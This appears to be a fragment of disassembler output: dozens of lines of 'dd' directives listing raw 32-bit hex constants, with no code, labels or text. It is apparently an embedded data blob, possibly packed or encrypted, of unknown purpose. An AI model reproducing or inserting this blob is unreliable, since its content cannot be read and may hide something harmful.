		dd 6FC2C00Ch, 0C8D14244h, 0B1D43207h, 68306CDFh, 960A86h
		dd 1F61B05h, 0C5B90E06h, 6DA48500h, 0BB2727Ah, 385103C2h
		dd 8A345B47h, 4F2E390h,	62DC6D12h, 1958FF00h, 3F1E17h
		dd 0B618634Ah, 78454282h, 28B9680Bh, 3DAC0079h,	2980388Ah
		dd 2388175Eh, 0F67F04h,	774ECBDCh, 0A050BD74h, 0F2C97600h
		dd 0B5797D84h, 5034A58Bh, 0AF00D3A8h, 7DA104F3h, 17AF8DCh
		dd 6B9F9976h, 5964E3E6h, 0A535DC1Ch, 109018C0h,	162EBh
		dd 0C8AA6188h, 8F55186Ch, 8BF13903h, 6967D6h, 86730539h
		dd 0ED7FEBD8h, 5E4832Fh, 44001CD4h, 0A227869Ah,	5D3305BCh
		dd 8F6534h, 5E3DE3Ch, 0E90302A3h, 5AA55412h, 6BEFE089h
		dd 944300CDh, 804B561Ch, 0D31D60F9h, 41D691CCh,	7F0748D0h
		dd 77290149h, 0DC57516Dh, 5E1C585Ch, 0C14F3C80h, 0F2A3DFE9h
		dd 794BE0C5h, 0E178D906h, 39B11167h, 0E900FA09h, 0B92EC476h
		dd 0F53E3BB5h, 9F4ABB8Bh, 0B87C6D71h, 0D956FAEAh, 86087C84h
		dd 0C497EB53h, 9DA34016h, 92FA86h, 0C6FFCA34h, 66071487h
		dd 0B2AA21C1h, 80409874h
		dd 52CCDFE3h, 7A00CC5Dh, 18786C12h, 0C007B2BCh,	71090C08h
		dd 39A45C40h, 15DC0A65h, 0BAAC48E2h, 53370480h,	0AB6D7249h
		dd 0DCDC8E54h, 8675168Ch, 48E0C4DAh, 0A6800158h, 7F0D869Ch
		dd 76FA0065h, 152B36F0h, 99C05BCBh, 9C13E4A2h, 982D0770h
		dd 500D7755h, 6EBE6799h, 43D0E105h, 0C44203F8h,	5453080Eh
		dd 7FB10130h, 80460458h, 29D723B1h, 12EBD073h, 0A0828808h
		dd 21C01E1Ch, 8929CF06h, 0DBA000DDh, 2A58E430h,	880EC4EAh
		dd 67C61A36h, 50093266h, 92C71064h, 64E20263h, 48843199h
		dd 7B45A018h, 0E002040Dh, 0ACFB4767h, 88112428h, 0D5DC180h
		dd 7B254A85h, 0D23901FAh, 1F2F50ABh, 0E547004Eh, 0E70C0A5Fh
		dd 0CB0258Ah, 0B8612B87h, 5D170E18h, 0E59528h, 9E54CB57h
		dd 3F144D36h, 898F3130h, 9D43E4h, 502573DCh, 0D051D280h
		dd 0EF311900h, 0ED17BB66h, 0D5600539h, 0F52FDC5Ch, 5B46F828h
		dd 908DA502h, 40C9070Ah, 282ECA18h, 1F8045E3h, 0D9AC55h
		dd 0DB601346h, 0D7013F15h, 4073BAD4h, 76D8A883h, 489195DCh
		dd 3E90589Ah, 2E31008h,	4012C4F8h, 320D56BEh, 15130038h
		dd 46AED481h, 55E8483Dh, 0E7074B0Fh, 940F726Bh,	0E01503h
		dd 2C380C41h, 5F54A7A5h, 0B3CC4004h, 0F7484753h, 48146125h
		dd 0CC79F8h, 0A4A01864h, 33D8BC2Bh, 7DFD5700h, 0E641ACB6h
		dd 346FA4Ch, 404BF70Bh,	0E9A9D54h, 76803443h, 0FA12AD69h
		dd 3200CF72h, 5A836028h, 0CBE30D1Dh, 4228559Fh,	41309D0Ch
		dd 2DE1110h, 80978840h,	600D59BDh, 5400A4DCh, 701BACC2h
		dd 0C8A57D3h, 0C029D256h, 0E23DEB99h, 897B87FBh, 0DA5379B1h
		dd 0D400E5A3h, 3180E04h, 0D52F86Fh, 14D89BE5h, 8643DC90h
		dd 0CCCA4909h, 6CB02150h, 0F0803CE1h, 0B68A3DCh, 35E8A40Dh
		dd 8E180095h, 0EEC3CD7h, 7662AF7Eh, 15CD4583h, 198A638Bh
		dd 2C00E444h, 7058DB71h, 39FE173Eh, 0AE0122FAh,	0B7F60CB5h
		dd 21E0CCC7h, 51D7ED01h, 0C8D60B2Dh, 4869B0B5h,	52C053D8h
		dd 46D07629h, 31B22D3h,	0BE29CA09h, 0E5A9AF7Ah,	63EBF8D8h
		dd 0A9ED9C9h, 0E0004C50h, 0BCE6BAD7h, 23D77A3h,	0A1682ECFh
		dd 9C8287FFh, 0C800960Fh, 0E13D6E36h, 2A6164F0h, 9CCBBC6h
		dd 1B267F05h, 7DE0FC58h, 0B40B0E16h, 61B2D0C2h,	3D02450Ch
		dd 0B48774C4h, 97673444h, 0B2C2C0C9h, 0FE0436BCh, 71ECF71Fh
		dd 0EF1068BDh, 74CD288Bh, 0BC94C500h, 85E4F686h, 446404A4h
		dd 94AB404Eh, 0D5A86100h, 0DBD0E829h, 0E820458Ch, 2B0029CDh
		dd 0A9984EF0h, 9450DF5h, 0B04C43E3h, 387BBC00h,	5180ADE7h
		dd 8D4249Dh, 3690202Ch,	7918E6DEh, 1CC4E485h, 4EC19060h
		dd 10E8FF4Ch, 0E6C46D04h, 0C0B8277Fh, 0D07529D9h, 1722FB46h
		dd 29510C02h, 0E432FD50h, 0AC7C2944h, 181DD18Ch, 8FB702A1h
		dd 9D6FE2ECh, 0C1901841h, 0C460D617h, 0D8598C4Bh, 8679807Ch
		dd 436FEBD6h, 11822EDh,	3086A0A2h, 0E4FEE5A7h, 0D1044E24h
		dd 50AEA53h, 883AB8D5h,	0C7002023h, 54046341h, 62F70EC8h
		dd 0A8DFA3E3h, 73E7DA8h, 0C636F151h, 5CD3092Fh,	97E1D809h
		dd 809C9158h, 0BEFF79EDh, 2C36042Dh, 0E96143C6h, 0A3DD02B0h
		dd 613D7538h, 74FADF60h, 0AB9B83B4h, 8EF0D304h,	20063B79h
		dd 0E6F521C9h, 0AA7C21h, 59E55CD2h, 21C3690h, 6B972E14h
		dd 0DAEC0BB8h, 8E64A773h, 4B0BF01h, 30DDC452h, 0D7108672h
		dd 0A7E077EBh, 41738699h, 1596544Ch, 80809B64h,	2E00D5Bh
		dd 22684350h, 53BB0013h, 5E2E070Dh, 82B59E7Ah, 81902012h
		dd 0BE04ADA8h, 41F06820h, 1C60EE11h, 90807933h,	69A32C10h
		dd 841680F8h, 0F034308h, 6762E8A8h, 10667E01h, 9CD86C8Bh
		dd 0D84C26CDh, 0E7A30906h, 4C8324B2h, 391D1504h, 634E7339h
		dd 80A92E08h, 64ED733h,	9B1614D0h, 5B00FC41h, 0ABC25784h
		dd 0B003E4Ah, 0FADC7C6Ch, 791367B8h, 8F351FEBh,	30475810h
		dd 9C28B75Eh, 0C4A7B899h, 0F3601B44h, 0FE1F7585h, 0E993D9A8h
		dd 3DAAE4A4h, 53FE4C3Eh, 0EC05E494h, 909A14B2h,	59204B68h
		dd 0BBB36B00h, 37A34985h, 0F81C60BFh, 6560EE0Ch, 1614F0EEh
		dd 1FA8632Fh, 0EC6612E2h, 0E889029Ch, 2478D0BEh, 60DC8F53h
		dd 79750361h, 0C243099h, 1A465Ch, 7E36726Ah, 100D1Ch, 3355BC44h
		dd 0BD5E2617h, 309C4304h, 81006590h, 4873E0ABh,	0B1AD3F07h
		dd 0C4E0713Bh, 584A0C96h, 0E03A5899h, 18A261EFh, 0C08038D3h
		dd 0DE1D85BAh, 1F59102h, 485C1B0Eh, 0FCEE0B1Ch,	8E74067Ah
		dd 30347F18h, 8B76C2Ch,	832C1428h, 2B9368B1h, 1302FCB0h
		dd 2B83E7Fh, 7B494AD8h,	34519C42h, 0F1181D59h, 0F5304E00h
		dd 0CCF8E3F9h, 8AE117D2h, 23F83AE2h, 59220013h,	0F25C04C7h
		dd 11F1911Ch, 0E716B18h, 8C4555E7h, 2D9AC42h, 14C615D4h
		dd 1D797825h, 801F91FCh, 0B8BADB0h, 159E002Ah, 7A6F85C1h
		dd 0B8ACF691h, 28C73B02h, 0C406A3BBh, 0D6F10E34h, 432025DCh
		dd 103F46F8h, 74A1801h,	4DB56E59h, 5C1ACBCCh, 0CD880C02h
		dd 403CE0C0h, 22E446E6h, 0D68D0036h, 1E517F3Ch,	0B5025437h
		dd 0F6E6423Ah, 5A804211h, 270C13E4h, 51400995h,	0A316D848h
		dd 4E613F44h, 0E0B8D0CCh, 0D700AB44h, 4CE343D5h, 0B18BEAA4h
		dd 187A7160h, 466D004Bh, 0DCC27CBAh, 7F12069Bh,	2C02B476h
		dd 760912ACh, 867D8168h, 0FC3DCA4Ch, 0E09406DEh, 9C3BE340h
		dd 10E4A00Fh, 444A483Dh, 4C68887Fh, 9E074E7Fh, 0CBE81D31h
		dd 0BC4050B5h, 0CA423C94h, 2FBE074Bh, 11364199h, 0D9AA7CA5h
		dd 2CE3E578h, 438EB8CCh, 175C0B65h, 5A40000Fh, 0B1A1546h
		dd 190A8F5Fh, 1E91CC1Fh, 0E4420D80h, 121F8A8Dh,	6AC0A81Dh
		dd 78BAEBCEh, 25D4908Fh, 9892CFE1h, 0F5805C1Fh,	0A3E89CE3h
		dd 0AF894ECh, 80A40F63h, 8FA42391h, 0EA001148h,	7FD7E051h
		dd 17549B60h, 211B449Dh, 6A129EE4h, 6EA3140Dh, 8F071881h
		dd 737EB8h, 801C709Bh, 78252585h, 9CC89818h, 644A5C02h
		dd 16C8C310h, 5C1084F0h, 0C1042708h, 0C4727050h, 0A03017F2h
		dd 10023112h, 32D10ED9h, 5C143E98h, 11ABC8F4h, 29D88055h
		dd 8CC3D074h, 60EE2145h, 0B06404h, 24D410C9h, 56BD15D1h
		dd 0DC4F624Fh, 0C9003273h, 1EB8CC0Fh, 3DE0023Bh, 4BAAE63Fh
		dd 2E9F9C85h, 20233Ch, 70EF5C4Ch, 0EE26040Dh, 551EECEAh
		dd 61C989C0h, 387BBCB5h, 0A2A668FCh, 8E780FDBh,	80B764E1h
		dd 848289Bh, 3B584B18h,	241F0A3Fh, 0DDE3015Fh, 0D0BFDA1Eh
		dd 0A81F2191h, 0C7CBD478h, 1390447Eh, 4AF68F8h,	12A52C20h
		dd 49D4B400h, 8066DECCh, 0E57E46BFh, 0F810E31Fh, 57109259h
		dd 3BA61C74h, 90C8F716h, 53015423h, 0CBD07729h,	0C289A463h
		dd 61949007h, 20B496E2h, 0DB243710h, 0CA3B28E8h, 0C6C44Fh
		dd 0E4459297h, 34A90336h, 0ADD6C227h, 238F7590h, 0C370D216h
		dd 3D978404h, 0CBDF5B00h, 525A8956h, 6B9B4C0h, 85D900FBh
		dd 0E34EB233h, 24B236CBh, 0DF1F0309h, 22802F14h, 6857CCD4h
		dd 863EB0h, 595A8CA9h, 0B4A1B12Fh, 0BF5FA00h, 0A8C009AFh
		dd 7DD72406h, 0E540890h, 0A9BA5201h, 0AC41D495h, 0FD009E08h
		dd 61166739h, 40A013C7h, 131F5B63h, 8AC4161Ch, 0C07AC87Ch
		dd 0CE34F693h, 6266B500h, 8B3704D0h, 8C8D316h, 0DEC0CF38h
		dd 21E63E3Ch, 59989D74h, 0DCC721h, 0EC58DE3Ch, 0C949E3F6h
		dd 66C08A51h, 0AF37F0FCh, 0BC0E636h, 5A23108Eh,	0AC4CD090h
		dd 0D3010381h
		dd 0EC9C3848h, 9F1F8C2Fh, 60328BDh, 8AC9835Bh, 3BCE61Dh
		dd 24FAC8E3h, 2C90555Ah, 28F6F86Ah, 0DFCCF206h,	0E129892Fh
		dd 0D1E2E8h, 0E347D459h, 0B53EDC31h, 6EF7104h, 70147B55h
		dd 748C1CE8h, 1B760277h, 8A36D09Ah, 0CD5BCCC8h,	60B87FF8h
		dd 7887A545h, 63F36AEDh, 0AECAB2B4h, 0DFE29482h, 18D3D4C1h
		dd 51860B74h, 8CC5C7EBh, 869BA580h, 7757D3h, 0FACFDDD7h
		dd 64CC8D6Eh, 0A0CAB0A8h, 5900D677h, 3C734320h,	903677E6h
		dd 254F7CA2h, 688E1FD7h, 54B3D16Fh, 1FB804ACh, 1F33E88Ch
		dd 80C90DBFh, 0D13DEC54h, 4851F30Eh, 72E2D584h,	311402F0h
		dd 0D67206D6h, 0A2893EFCh, 0B0AACA8Fh, 0F0C08B0h, 0DAB1DB01h
		dd 9041ABFBh, 627F8Ch, 9301DC53h, 3A44723Ch, 0AA4AF845h
		dd 9CAFDD13h, 0FBA09D00h, 6407C09h, 8143CD72h, 0C880584Eh
		dd 48A8C0Bh, 0D66057F8h, 0D0297229h, 0D4078F3h,	8429CEh
		dd 188A6615h, 2D6F5105h, 1F308F17h, 137D78C0h, 0C4A2B5ADh
		dd 0C216603h, 0E46804B3h, 0D4B78314h, 2081C713h, 0E01D1AD4h
		dd 0FCB1622Eh, 830C7C87h, 0DD872344h, 898B80BAh, 4E048E4h
		dd 0FE99C313h, 69C8BF43h, 9B00018Fh, 0DD57AFEAh, 27904D2Ah
		dd 0A800ACB2h, 0A37BBDE0h, 1AFF120Ch, 3AEB6855h, 825ED3E2h
		dd 0E22EB30Ch, 0B12E6E8h, 0B6BE40Fh, 189E7C69h,	0DF1005BAh
		dd 0CB685802h, 52487F60h, 1BD1EEBh, 0E8B4D153h,	44435DE0h
		dd 4B55B302h, 54DECBD8h, 7D7AC89Eh, 36C6280Bh, 60CCC6A2h
		dd 0D402A15Dh, 886030ABh, 0E2426251h, 38C51EA3h, 47147853h
		dd 5900C88Ah, 86054F0Bh, 0E700BD35h, 4185DF96h,	0A0DB154Dh
		dd 7E637A8h, 0B9E2B2D9h, 80D8BA62h, 35B86170h, 6600F7F9h
		dd 0A9D76749h, 2CF30A92h, 6164790Fh, 65A843E3h,	0F2986034h
		dd 7B78653Eh, 19DC9534h, 0C40650C2h, 0F7211C78h, 0E78480F8h
		dd 0F4AFB568h, 0FF7F3D05h, 0B6873CD1h, 6ED920C0h, 9C0E7679h
		dd 2ED7621Ch, 820DC72h,	0FD142797h, 187CA9h, 0D6070711h
		dd 6A87844Ch, 0B8200D43h, 4733A69h, 121C65AAh, 47E8F4FAh
		dd 42DD1650h, 71C00475h, 0E9B54F75h, 0B1BC0040h, 9888130Ah
		dd 0B41DCA90h, 9E8338AAh, 0E042Bh, 70339131h, 0C9F5CDE3h
		dd 3A12FCFAh, 0EC9706C0h, 801E8617h, 31E95962h,	0BAD50202h
		dd 0AAA2CC4Ch, 655F44D8h, 0C097BC48h, 2E4103Fh,	0BF80F043h
		dd 883A0D57h, 30714917h, 0FBC694D0h, 966A3AA4h,	9ED91D00h
		dd 4F911484h, 2743D30Fh, 0A656C0E5h, 24D769DFh,	1848EB7h
		dd 762E6ABh, 7D1AF072h,	84FC2E2Eh, 0E87CEE00h, 4D0ED084h
		dd 4B01F47Fh, 2F188F51h, 0DC396Ah, 549A9126h, 0BA17BC9Dh
		dd 0EB371040h, 3FAB0011h, 0DFF95B60h, 0F38A0431h, 0E294C804h
		dd 8D53263Ch, 0CF2F003Eh, 89639D3Fh, 0C3D10112h, 1C825441h
		dd 55E5D0B8h, 0AF6B0B05h, 5CB41140h, 0A624077h,	4124C04h
		dd 450E8BACh, 0A6182073h, 0C700C5F7h, 99B3D464h, 0E8ADB291h
		dd 0EB283B1Bh, 4AA1810h, 529778E2h, 0E0DB04D4h,	0C29D87C0h
		dd 40FA91FBh, 85AC1A38h, 0B2DE23Bh, 0B81A7184h,	0D9D47130h
		dd 6F51816h, 0CE7F0509h, 0F890A81Ah, 1417DC2Fh,	2ECA0934h
		dd 0C4525FDBh, 97806212h, 18386C1Ah, 59490h, 0F4A66633h
		dd 0ECD2F35Ch, 91180879h, 0C860772Bh, 0EA448607h, 90675ED2h
		dd 0B22172BCh, 6429C200h, 0BA582BB3h, 0EF7B07D1h, 0B19D3EBBh
		dd 0EED4C31Dh, 6D341440h, 0A286D496h, 21C971E9h, 0CF910FA4h
		dd 0AD10901Dh, 0A0FA8813h, 3C54B8E6h, 8E2461A8h, 0CE8D8487h
		dd 0B4F099CBh, 68AB03C8h, 41EC97BBh, 1D208013h,	0F08BF053h
		dd 30658F84h, 14E9BAB3h, 4496E812h, 71676778h, 1618B38Bh
		dd 0E7FB600Ch, 614DE126h, 9DBED0C3h, 1BCEF0FCh,	0B0C7254h
		dd 0A1C1F600h, 0DC05222Ah, 4B23E64h, 284860F3h,	45E893DFh
		dd 37A358C1h, 301ED77h,	81E45512h, 0F0F27CAAh, 3F004097h
		dd 0F0CCCF99h, 30A3B2Eh, 8F0347E7h, 50094A82h, 5BE3883Dh
		dd 4D075868h, 8F4C3E05h, 40419CC3h, 18B9541Dh, 100EFCh
		dd 5E933950h, 677BD7Eh,	0A02B0C24h, 0E840782h, 7C44CEh
		dd 3F144F90h, 0E2D604ACh, 0E9F49330h, 0B1B29705h, 63470ECCh
		dd 0CF00EC95h, 1769963Ah, 0AC02DD46h, 749BE922h, 0A3030004h
		dd 6B004087h, 0FD060CC4h, 95AF3B1Fh, 15AC4011h,	1E078E6h
		dd 440264FBh, 87D765D1h, 79EC4279h, 181779D8h, 108D09D4h
		dd 70105973h, 7B5B903Ch, 808FF848h, 21DDA99Eh, 0DA09AFC2h
		dd 18B20641h, 982D5B90h, 0BA8A09D0h, 2449D99Eh,	21181665h
		dd 0CE40D7A2h, 7949C8A9h, 0FAAD0117h, 1F31FD1h,	3220D997h
		dd 11E81030h, 0B37A5FC4h, 301EB220h, 0E31C0C6Ch, 53C09985h
		dd 0A5069A21h, 2536287Fh, 0AE901738h, 0B134D155h, 0ECDC2C7Ah
		dd 0C7018C21h, 0D190DF36h, 7AF89242h, 0FD60042Dh, 0A17593E8h
		dd 7FDDC094h, 0F823020h, 3D67F303h, 0D67537C0h,	263E09F7h
		dd 7868264Fh, 59E61340h, 7765001Ch, 9DFC57Dh, 0C8047538h
		dd 7170E71h, 0BA25A4ACh, 0BC95348Bh, 0D9802191h, 4311BE2Fh
		dd 8A0005E6h, 286AA52h,	606472FFh, 3B6B890Ah, 0B2079653h
		dd 57CFF9E5h, 8AD82E0h,	27F7B0E3h, 9C1785EEh, 60023408h
		dd 5921D15Fh, 577DE8EEh, 388E7F2Ch, 64E584B0h, 71C9B9Ch
		dd 0D5E10D5Ch, 58CEA8h,	0F10D54C0h, 24B343E1h, 89C578Eh
		dd 0EC488F07h, 716465Ch, 91DADFEDh, 588B1323h, 0BA76CD48h
		dd 0D76C1208h, 870B4CBh, 0FFA26008h, 1B467487h,	45CFF60Eh
		dd 954FF820h, 0DB3106F0h, 5ECC688Bh, 2D9FAC50h,	0CB5A00C2h
		dd 36EDFB1Ch, 1E0007BAh, 2922CA57h, 1E7A0444h, 4120E4h
		dd 36C691B1h, 11974702h, 0A214A6D4h, 6498F13Ch,	3E041C0Ch
		dd 62E93802h, 2AC4B4h, 2709C539h, 911F3604h, 0D5EDAB98h
		dd 13883223h, 3C0B8476h, 3ACA0A0h, 39C7AF4h, 0E92404D6h
		dd 0D4D442CBh, 0DF68CCACh, 4E76A35Ch, 0CFC0CCCh, 7221B71Fh
		dd 11587758h, 128E38B7h, 78B06C2Bh, 9990220Ah, 0F5191810h
		dd 0DE1D5E01h, 3A0D15D7h, 60168456h, 0D738251Bh, 0DC60D285h
		dd 2D548677h, 28169FEBh, 869EA407h, 0A9504021h,	12ADD715h
		dd 0F4CCD42Ah, 0FB07E038h, 6941B04Eh, 9D308FF0h, 41625A14h
		dd 388E878h, 8280327Ch,	0F97FA90Bh, 181DD9D0h, 9BB9078Dh
		dd 0E90FDF6Bh, 0EA2B5C07h, 4BCF80F4h, 366F2AEFh, 28060405h
		dd 841F50CEh, 0BA045B10h, 0D48043D0h, 21C89390h, 942A6118h
		dd 0F509B49h, 479C8134h, 14DEB280h, 8A074D7Dh, 0CF612976h
		dd 408198A4h, 58A568EEh, 419D3884h, 0E67A97A3h,	4815CC72h
		dd 162238B5h, 6A0B1898h, 0E86346CAh, 0DB7374h, 8D36F844h
		dd 0D1255C0Dh, 0C84920B1h, 2736C830h, 781141CEh, 8DC1B886h
		dd 80B1CF37h, 0CB7ACDF0h, 0BC817C19h, 87B8674h,	48495AA1h
		dd 0DBC0D0B8h, 2DE35B3Ch, 1094A40Ch, 3CD9CC01h,	0A954427Eh
		dd 198060DDh, 560E8CB1h, 9CE82AC6h, 0E27DD500h,	6C6E0235h
		dd 0E1141EB4h, 0AB758286h, 0DC7CDD04h, 4CCA6310h, 90C16190h
		dd 838C20E3h, 408215FDh, 43DE2C9Eh, 200C882Ah, 9D7FB925h
		dd 801C9110h, 67CB9EF3h, 5060E88Bh, 1479DCB1h, 0A8EBCA97h
		dd 4CC8AA00h, 398F5725h, 0F4BAEA09h, 201CDA95h,	6C9845CEh
		dd 0E8FD5024h, 394113E4h, 38C80A90h, 0FECA0B20h, 0E38863E3h
		dd 605BD9B2h, 2454C830h, 0C347340h, 7859339Ah, 59D02102h
		dd 72FACBE5h, 2488B918h
		dd 0C5A5082Ch, 909A33CEh, 778BD9C0h, 18138DD1h,	0D848893Fh
		dd 4C18B962h, 9FEE3C08h, 0FDDB9401h, 309934CBh,	1000242Dh
		dd 0D15B09ECh, 9C0254C6h, 6E2CC460h, 0E480C5E3h, 0AA706012h
		dd 189600E9h, 88E54809h, 222E9886h, 0EB78B44Ah,	36CA807Ch
		dd 8AA0D254h, 1C40B226h, 0F649D8A0h, 456320E0h,	2F8FF99Ch
		dd 0C3F4C20h, 854F5CD3h, 9A249A71h, 63608138h, 5001862h
		dd 0CB52EEC7h, 0FA02A917h, 0B7DB5D79h, 0A198ECBDh, 4C2C8FD0h
		dd 0E2495209h, 8E7038D1h, 2E038665h, 4815A325h,	31C7C921h
		dd 0C6704C29h, 996763C9h, 0F3760C06h, 4468DCE2h, 7C01718Dh
		dd 39CA865Dh, 0D8E0F7A0h, 23530E94h, 401D2899h,	6F461589h
		dd 0E030422Eh, 0BB2D8904h, 0DE4809E8h, 68522091h, 5C323D05h
		dd 98AD8261h, 54EA7800h, 4F4B49C9h, 5C9F2F2Eh, 7F0EB8C1h
		dd 44044C38h, 0B0EC9BE5h, 0E300DEFCh, 8FE73628h, 90A7D012h
		dd 0AE3806B0h, 7825A491h, 7C6EF400h, 0DFD91B8Ah, 96FE021Ah
		dd 0CA64A336h, 2001CDAh, 8BD0AB77h, 2D9BE709h, 1C48B0A0h
		dd 78066FA7h, 0FB57E56Dh, 16017DFAh, 80ACAF62h,	4CA9094h
		dd 7AC86515h, 13503E68h, 0E0C14318h, 93BAB94h, 0E4680660h
		dd 0C037325h, 0D7D4288Eh, 16F4B08Ah, 781C00C2h,	0AD96F03h
		dd 3C27B291h, 485C68A8h, 88C68286h, 0CF32800h, 17FF251Ch
		dd 75D6F802h, 0EB9B00F6h, 34051A0h, 8B58F14Bh, 8C19B8ECh
		dd 615DE100h, 0E241D244h, 0A0044D43h, 30550503h, 8A9831ACh
		dd 0DAE67AB1h, 1398DB49h, 20906192h, 0F62D650h,	7CC4C21h
		dd 0E4D1E7C9h, 3EA6069Eh, 0E546DF03h, 0AB70C785h, 6BE78A98h
		dd 444295Ch, 0FB105F00h, 863C6DF1h, 0D5B602E6h,	443D3B5Ch
		dd 8FC0E84Bh, 0E116AD0Ah, 0C00895Fh, 7A93B0D2h,	3FA901D4h
		dd 0D1E8CBF2h, 606E2F9Fh, 81316400h, 72A401F6h,	69E1EB00h
		dd 9F34AB9Dh, 0A2DD04E9h, 8223E27Fh, 0F8819CD8h, 2F14E6D6h
		dd 34B29813h, 0A3001B2h, 0F43A0129h, 0DA78A606h, 31704C33h
		dd 2AC3C00h, 77154D4Bh,	0E291122Bh, 403CF004h, 0DBA7280Fh
		dd 463AB76h, 0DA60CBDCh, 0E3105A3Ch, 0CBB0A3D4h, 0D9043CD8h
		dd 91F1E109h, 8E9E34FCh, 0C0538FA2h, 7B03758Ch,	9CB2EC1Fh
		dd 8002035h, 0C437D53Bh, 0A84DFEEFh, 0BE2004E0h, 206713D0h
		dd 1ED66438h, 0C46EB227h, 0EC37648h, 8118DAB5h,	8A527A80h
		dd 0DD00DB28h, 0A7F191D7h, 3C1546CFh, 9C54E268h, 340B510Eh
		dd 0CDC28C00h, 0B779738Dh, 0F09F0CA1h, 0AFDFF806h, 98F31D00h
		dd 0F0CC775h, 3CC90F0Dh, 43C0D79Ch, 0D404B261h,	1195E1FEh
		dd 3C305D94h, 440F5E30h, 6F81C8h, 65AE570Ch, 0ED00B1Ch
		dd 2009432Fh, 0A9425850h, 49B2E908h, 42810C1Eh,	0B3F412E8h
		dd 0B938253Eh, 3C686294h, 0D38F211Dh, 94A2056Eh, 0C0358F1h
		dd 4DCF0223h, 0EAC42136h, 187C5842h, 0B3B70B40h, 9FE60E33h
		dd 0F0A1B9F2h, 0C8904EEAh, 8E0C1B64h, 0D0301310h, 5E0B0047h
		dd 48860312h, 0E61A7F05h, 409871AEh, 0F020E3F0h, 38656A62h
		dd 74A80335h, 0B8237CDCh, 3CE40051h, 9D84E344h,	4860949Dh
		dd 0E7014CC9h, 165A3F04h, 0D5FFD8BDh, 996FB200h, 3B5B0C53h
		dd 2851741h, 10582FE5h,	0A5C0658Fh, 0B0B30BD4h,	684B884Eh
		dd 0F1CC51A3h, 25C1816h, 0A6782C96h, 68766E97h,	0E449140Bh
		dd 445320B0h, 0BD91A0B6h, 0C840CB4Fh, 2D95C01Dh, 0E9EC5161h
		dd 53C5124Ch, 41653A34h, 0F5881D3Fh, 0FABCB04Ch, 0A5E70B3Ah
		dd 40F4CF1Dh, 0B2460F02h, 7CE05458h, 1000808Ah,	71BA1C05h
		dd 74F8B449h, 0AA000146h, 6A38F528h, 52C7DB6h, 0E41180C0h
		dd 9702DB02h, 0B050F182h, 0D4953Fh, 236E13FCh, 0F1041488h
		dd 2B2BAC4Dh, 16237Ch, 7638F8F3h, 0C4055D36h, 9CCBBE49h
		dd 0C8AAE440h, 90C0DC3Ch, 309F2DF4h, 0D44C04A5h, 0BCFCA854h
		dd 2E018C1Dh, 0DAB3150Bh, 48B98237h, 49E33F96h,	6090CCF0h
		dd 1500D7F1h, 8881D5D8h, 1EA67601h, 5FDC7C25h, 904D53D1h
		dd 3E7303E8h, 4CC8A907h, 77406031h, 4EC76164h, 0FD4CC02Bh
		dd 14098B7Ch, 1F4EAEFFh, 82191144h, 81E615ABh, 3C5BD178h
		dd 0E30421BCh, 0ED6C3043h, 1B2150FCh, 467CBC9Eh, 1E1D0013h
		dd 29A9A0F6h, 11F3128Ah, 82A89504h, 0C4AC8F40h,	918163F0h
		dd 5F354180h, 4651FC7Eh, 811C0B76h, 1C2CD0F8h, 84250808h
		dd 0A0E716CAh, 4B06AA34h, 61AB06D0h, 12900310h,	8B410229h
		dd 0DF655AB1h, 0AC2831F0h, 8EFC12BFh, 57BA0284h, 1818908Fh
		dd 0C7464AC7h, 796FB2B0h, 16596879h, 60B07E18h,	0BE41F12h
		dd 0C7A09CA7h, 66790C56h, 19E30F01h, 12309A42h,	37A3FC50h
		dd 6B60BA43h, 4CD05C49h, 91707F50h, 9940F537h, 6BE0580h
		dd 4B825E5Dh, 7C500F90h, 14B28A16h, 4C88050h, 8CC66162h
		dd 1B753240h, 1891B8E4h, 32C028A4h, 2640BF4Dh, 9F9811E1h
		dd 0F6542430h, 0FB8A1A09h, 50C11C5h, 0B26C166Bh, 3097F2E0h
		dd 0BC004ABDh, 43FA29E9h, 0F6340Ah, 0CA5E1646h,	49446153h
		dd 0C6304148h, 27078F5h, 0ABD43113h, 58FED83Ah,	0D78A804Eh
		dd 168207h, 0FD494D5Dh,	68C2C819h, 0AB469E09h, 89546B41h
		dd 96EF31Fh, 0F8DCAC64h, 0E8A31A60h, 0E37A0452h, 0E86426CBh
		dd 84445278h, 0D0203467h, 449E5716h, 0C9287028h, 2A30D8C0h
		dd 7B68718Ah, 0BAE2004Eh, 0F4CEB832h, 0BF0039B6h, 3B879724h
		dd 9A58CA3Ah, 0D0F49990h, 2E860357h, 9349907h, 1C00602Fh
		dd 9FC0130Ch, 0DB694184h, 0DC059100h, 0AC8D43E2h, 0CD4B0455h
		dd 903F0641h, 0C53914C0h, 0B8D2D05Eh, 0F1F079CFh, 0F761C1Eh
		dd 268101CCh, 3E30C7h, 0B42AE879h, 0C1956180h, 987D0361h
		dd 6C872A8Ah, 6CF0D574h, 9E74BE2Ah, 0B5C4C16Ah,	0F0A0D156h
		dd 532EE9DFh, 8515FC4Ch, 9E4D05A0h, 0FCD01314h,	45D0601Fh
		dd 0ACB83C71h, 24336h, 182A9F9Dh, 5F4F8FEBh, 0D864D062h
		dd 0CA00DD22h, 0DE81B687h, 1365268h, 0C45F092h,	0AE60CBD3h
		dd 6DC3849h, 2C9BE8C4h,	3498C802h, 8BFD8941h, 7FE2EC00h
		dd 40919A5Ah, 12135F97h, 0A4CF7DBAh, 0E45C1760h, 93E51744h
		dd 32A480C8h, 55165428h, 4E243C5h, 27D5AA03h, 0D2B01EC0h
		dd 62272D2Ch, 0DCA8E216h, 1C465E6Ch, 0CE2BC800h, 0AC4FA961h
		dd 6A36B812h, 0B2EC2880h, 9001B55Ch, 79CBCDE2h,	62F9008Ch
		dd 749C2A52h, 78BA0735h, 0DE0A77C6h, 38A1CA89h,	0D4ADD9FBh
		dd 0DF0C6CA3h, 0D8507D43h, 1C1E0D89h, 2B29B630h, 9710B02Fh
		dd 0E663C064h, 1FEFF2AAh, 0C429D976h, 4260CA39h, 0C04E6F6Eh
		dd 4DB93Eh, 42D1B356h, 39BCC87Ch, 0E3606100h, 8EAA5D6Eh
		dd 963A0249h, 0E554D5F9h, 0C4A5DE85h, 34E21230h, 0F46AAADCh
		dd 484F5500h, 41E6104Ch, 0EB12FFF2h, 0DCB023E2h, 0C9885FB3h
		dd 0AE74F06Ch, 27C9E700h, 9D48BC9Ah, 6400BFC8h,	3E26D352h
		dd 6B6C9101h, 61CBC26Fh, 0D7973980h, 71FC8B7Dh,	0B1BB9F00h
		dd 99578F95h, 9D631850h, 0BAEB2854h, 3009985Ah,	20168EE4h
		dd 0A16336D0h, 8698FFh,	59C04407h, 51C93DFh, 4C0F78D2h
